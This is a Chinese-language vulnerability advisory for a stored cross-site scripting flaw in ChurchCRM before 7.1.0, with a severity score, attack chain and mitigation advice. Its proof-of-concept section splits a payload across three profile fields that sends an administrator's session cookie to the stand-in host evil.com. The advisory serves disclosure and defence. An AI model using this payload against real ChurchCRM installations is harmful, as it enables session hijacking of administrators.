CVE-2026-39328 CVSS 8.9 高危

CVE-2026-39328 ChurchCRM 存储型XSS漏洞

披露日期: 2026-04-07

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-39328

漏洞类型

存储型跨站脚本攻击

CVSS评分

8.9 高危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

需要交互 (UI:R)

影响产品

ChurchCRM

漏洞概述

ChurchCRM 7.1.0之前版本存在高危存储型XSS漏洞。拥有EditSelf权限的低权限用户可利用个人社交资料字段注入恶意JavaScript，通过多字段拼接绕过长度限制，诱导管理员触发攻击从而窃取会话凭证。

技术细节

该漏洞源于ChurchCRM对用户社交资料字段的输入验证不足。攻击者利用EditSelf权限编辑个人资料，由于存在50字符的限制，攻击者将恶意Payload拆分并分别注入至Facebook、LinkedIn和X三个字段的onfocus事件处理程序中。通过链式调用机制，当管理员或其他用户查看该个人资料并触发焦点事件时，拼接后的JavaScript代码将在浏览器端执行，导致会话Cookie被窃取并发送至攻击者控制的服务器。

攻击链分析

STEP 1

步骤1

攻击者注册并登录ChurchCRM账户，获取具有EditSelf权限的普通用户身份。

STEP 2

步骤2

攻击者编辑个人资料，将恶意JavaScript代码拆分，分别注入到Facebook、LinkedIn和X三个社交字段中，利用onfocus事件进行链式拼接。

STEP 3

步骤3

攻击者保存修改，恶意脚本被持久化存储在服务器数据库中。

STEP 4

步骤4

管理员或其他高权限用户查看攻击者的个人资料页面。

STEP 5

步骤5

浏览器解析页面时触发恶意脚本，将管理员的Session Cookie发送至攻击者控制的远程服务器。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

// Payload distribution strategy due to 50-char limit per field
// Field 1: Facebook URL
"autofocus onfocus=\"s='htt"

// Field 2: LinkedIn URL
"p://evil.com/?c='"

// Field 3: X (Twitter) URL
";fetch(s+document.cookie)\""

// Note: When an admin views the profile, the browser renders these inputs.
// The autofocus triggers the first onfocus, executing the concatenated JS.
// Result: fetch('http://evil.com/?c=' + document.cookie)

影响范围

ChurchCRM < 7.1.0

防御指南

临时缓解措施

建议在升级前暂时撤销非管理员用户的EditSelf权限，或部署Web应用防火墙（WAF）以检测和拦截针对个人资料字段的恶意脚本注入尝试。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表